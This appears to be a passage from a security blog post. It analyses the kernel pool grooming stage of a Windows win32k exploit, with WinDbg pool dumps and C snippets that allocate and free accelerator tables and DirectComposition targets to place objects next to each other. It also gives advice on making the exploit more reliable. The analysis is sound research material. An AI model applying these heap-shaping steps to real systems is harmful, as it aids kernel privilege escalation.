fffff90144049000 size:   40 previous size:    0  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049040 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2  
fffff90144049080 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440490c0 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2  
fffff90144049100 size:   40 previous size:   40  (Allocated)  Usdm  
*fffff90144049140 size:   40 previous size:   40  (Allocated) *Adbe  
  Pooltag Adbe : Adobe's font driver  
fffff90144049180 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440491c0 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049200 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049240 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049280 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440492c0 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049300 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049340 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049380 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440493c0 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049400 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049440 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049480 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440494c0 size:   40 previous size:   40  (Allocated)  DCtt Process: 49aad7b3024b1ec2  
fffff90144049500 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049540 size:   40 previous size:   40  (Allocated)  Usdm  
fffff90144049580 size:   40 previous size:   40  (Allocated)  Usdm  
fffff901440495c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049600 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049640 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049680 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff901440496c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049700 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049740 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049780 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff901440497c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049800 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049840 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049880 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff901440498c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049900 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049940 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049980 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff901440499c0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049a00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049a40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049a80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049ac0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049b00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049b40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049b80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049bc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049c00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049c40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049c80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049cc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049d00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049d40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049d80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049dc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049e00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049e40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049e80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049ec0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049f00 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049f40 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049f80 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  
fffff90144049fc0 size:   40 previous size:   40  (Allocated)  Usac Process: 49aad7b301bcdec2  

Until here, a debugging session of the session paged pool massage. Now time for some questions and answers!

Questions and Answers

Is step (6) necessary? In the example, the vulnerable object doesn't use one of the holes in (6), but from (4).

From the reviewed debugging session, it looks like (6) could be removed. Indeed without (6) the exploit will still work ... sometimes. But the following conditions apply:

  1. Some of the freed chunks at (4) aren't consumed by (5) or other session paged pool allocations.

  2. The adjacent chunk is reused by a DCompositionHwndTarget at (3).

Forcing some extra holes in (6) helps a lot to improve reliability of the exploit. Especially when you fire the exploit several times (according to our testings). So, yes, it is definitely a good idea to make these extra holes.

Why are AcceleratorTable(s) freed two times? And holes filled with DCompositionHwndTarget(s) two times?

When building a set of adjacent DCompositionHwndTarget(s), it seems like we could merge the following code:

// Create holes in the series of accelerator tables.  
for (INT i = 3600; i < 4600; i += 2) {  
  DestroyAcceleratorTable(pAccels[i]);  
}  
  
// Fill the holes with with DCompositionHwndTarget(s).  
// (at this point we have a series of alternating DCompositionHwndTarget objects)  
for (INT i = 0; i < 500; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}  
  
// Create "adjacent" holes (to the previous holes) in the series of  
// accelerator tables.  
for (INT i = 3601; i < 4601; i += 2) {  
  DestroyAcceleratorTable(pAccels[i]);  
}  
  
// Fill the holes with with DCompositionHwndTarget(s).  
// (at this point we have a contiguous series of DCompositionHwndTarget objects)  
for (INT i = 500; i < 1000; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}  

into:

// Create holes in the series of accelerator tables.  
for (INT i = 3600; i < 4600; i += 1) {  
  DestroyAcceleratorTable(pAccels[i]);  
}  
  
// Fill the holes with with DCompositionHwndTarget(s).  
// (at this point we have a series of alternating DCompositionHwndTarget objects)  
for (INT i = 0; i < 1000; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}  

Unfortunately, this will not work, since adjacent chunks will be merged at free time. If you proceed with the second technique, the desired ListHead will be mostly empty after the loop destroying accelerator tables:

kd> dl ffffd000`c6a44e70 200 2  
ffffd000`c6a44e70  fffff901`425c2010 fffff901`4422a0b0  
fffff901`425c2010  fffff901`425c81a0 ffffd000`c6a44e70  
fffff901`425c81a0  fffff901`425c93c0 fffff901`425c2010  
fffff901`425c93c0  fffff901`424e8a80 fffff901`425c81a0  
fffff901`424e8a80  fffff901`422dc410 fffff901`425c93c0  
fffff901`422dc410  fffff901`424140b0 fffff901`424e8a80  
fffff901`424140b0  fffff901`4422a0b0 fffff901`422dc410  
fffff901`4422a0b0  ffffd000`c6a44e70 fffff901`424140b0 

If the goal is to get a set of adjacent DCompositionHwndTarget(s), making holes, are AcceleratorTable(s) really needed?

Why not just allocate a set of DCompositionHwndTarget(s) and then make holes? For example, code like this:

// Create window handles, and store them.  
pHwnds = (HWND *)VirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
hThisInstance = GetModuleHandleA(NULL);  
for (INT i = 0; i < 1000; i++) {  
  SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));  
  wsprintfA(winClass, winClassFmt, i);  
  wsprintfA(winTitle, winTitleFmt, i);  
  int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0);  
  LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2);  
  memset(winTitleW, 0, winTitleWSize * 2);  
  MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize);  
  
  windowClass.cbSize = sizeof(WNDCLASSEXA);  
  windowClass.style = CS_HREDRAW | CS_VREDRAW;  
  windowClass.lpfnWndProc = (WNDPROC)WndProc;  
  windowClass.hInstance = hThisInstance;  
  windowClass.hIcon = NULL;  
  windowClass.hCursor = NULL;  
  windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;  
  windowClass.lpszMenuName = NULL;  
  windowClass.lpszClassName = winClass;  
  classAtom = RegisterClassExA(&windowClass);  
  hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitleW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);  
  
  if (hWnd) {  
    pHwnds[i] = hWnd;  
  }  
  else {  
    break;  
  }  
}  
  
// Create DCompositionHwndTarget(s).  
for (INT i = 0; i < 1000; i++) {  
  MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4);  
}  
  
// Create some holes in the contiguous series of DCompositionHwndTarget objects,  
for (INT i = 400; i < 420; i+=2) {  
  MyDestroyDCompositionHwndTarget(pHwnds[i], 0);  
}  

If you run the above code and look at the DCompositionHwndTarget allocations, you will notice that even after defragmentation, there are not any adjacent allocations:

*fffff901423bd7c0 size:   40 previous size:   c0  (Allocated) Usdm  
*fffff901423bd8c0 size:   40 previous size:   c0  (Allocated) Usdm  
*fffff901423bd9c0 size:   40 previous size:   c0  (Allocated) Usdm  
*fffff901423bdac0 size:   40 previous size:   c0  (Allocated) Usdm  
*fffff901423bdbc0 size:   40 previous size:   c0  (Allocated) Usdm  
*fffff901423bdcc0 size:   40 previous size:   c0  (Allocated) Usdm  

See the full log here.

This is because, on newly allocated pages, every call of to "CreateDComopositionHwndTarget" will allocate a 0x40 sized chunk to store the CHwndTargetProp, but will also allocate a 0xc0 sized chunk to store a DirectComposition::CVisualMarshaler object. There will not be two adjacent CHwndTargetProp(s):

kd> !pool fffff901423bd8c0  
Pool page fffff901423bd8c0 region is Unknown  
fffff901423bd000 size:   c0 previous size:    0  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd0c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd100 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd1c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd200 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd2c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd300 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd3c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd400 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd4c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd500 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd5c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd600 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd6c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd700 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd7c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd800 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
*fffff901423bd8c0 size:   40 previous size:   c0  (Allocated) *Usdm  
  Pooltag Usdm : USERTAG_DCOMPHWNDTARGETINFO, Binary : win32k!CreateDCompositionHwndTa  
fffff901423bd900 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd9c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bda00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdac0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdb00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdbc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdc00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdcc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdd00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bddc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bde00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdec0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdf00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdfc0 size:   40 previous size:   c0  (Allocated)  Usdm  
kd> !pool fffff901423bd800  
Pool page fffff901423bd800 region is Unknown  
fffff901423bd000 size:   c0 previous size:    0  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd0c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd100 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd1c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd200 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd2c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd300 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd3c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd400 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd4c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd500 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd5c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd600 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd6c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd700 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd7c0 size:   40 previous size:   c0  (Allocated)  Usdm  
*fffff901423bd800 size:   c0 previous size:   40  (Allocated) *DCvi Process: ffffe000ffbf9080  
  Pooltag DCvi : DCOMPOSITIONTAG_VISUALMARSHALER, Binary : win32k!DirectComposition::CVisu  
fffff901423bd8c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bd900 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bd9c0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bda00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdac0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdb00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdbc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdc00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdcc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdd00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bddc0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bde00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdec0 size:   40 previous size:   c0  (Allocated)  Usdm  
fffff901423bdf00 size:   c0 previous size:   40  (Allocated)  DCvi Process: ffffe000ffbf9080  
fffff901423bdfc0 size:   40 previous size:   c0  (Allocated)  Usdm 

And that's all! I really hope the blog post helps you understand the pool massage technique used by this exploit a little better. Of course, if you feel there are any errors in my analysis, feel free to comment details below